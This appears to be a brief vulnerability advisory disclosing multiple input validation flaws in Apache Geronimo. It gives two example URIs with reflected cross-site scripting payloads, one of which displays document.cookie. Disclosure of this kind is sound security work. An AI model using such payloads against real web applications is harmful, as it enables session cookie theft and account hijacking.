• info
• discussion
• exploit
• solution
• references

Apache Geronimo Multiple Input Validation Vulnerabilities

An exploit is not required.

Example URIs have been provided:

http://www.example.com/jsp-examples/cal/cal2.jsp?time="/><script>alert('Gotcha')</script>
http://www.example.com/script-that-dont-has-to-exist.jsp?foobar="/><script>alert(document.cookie)</script>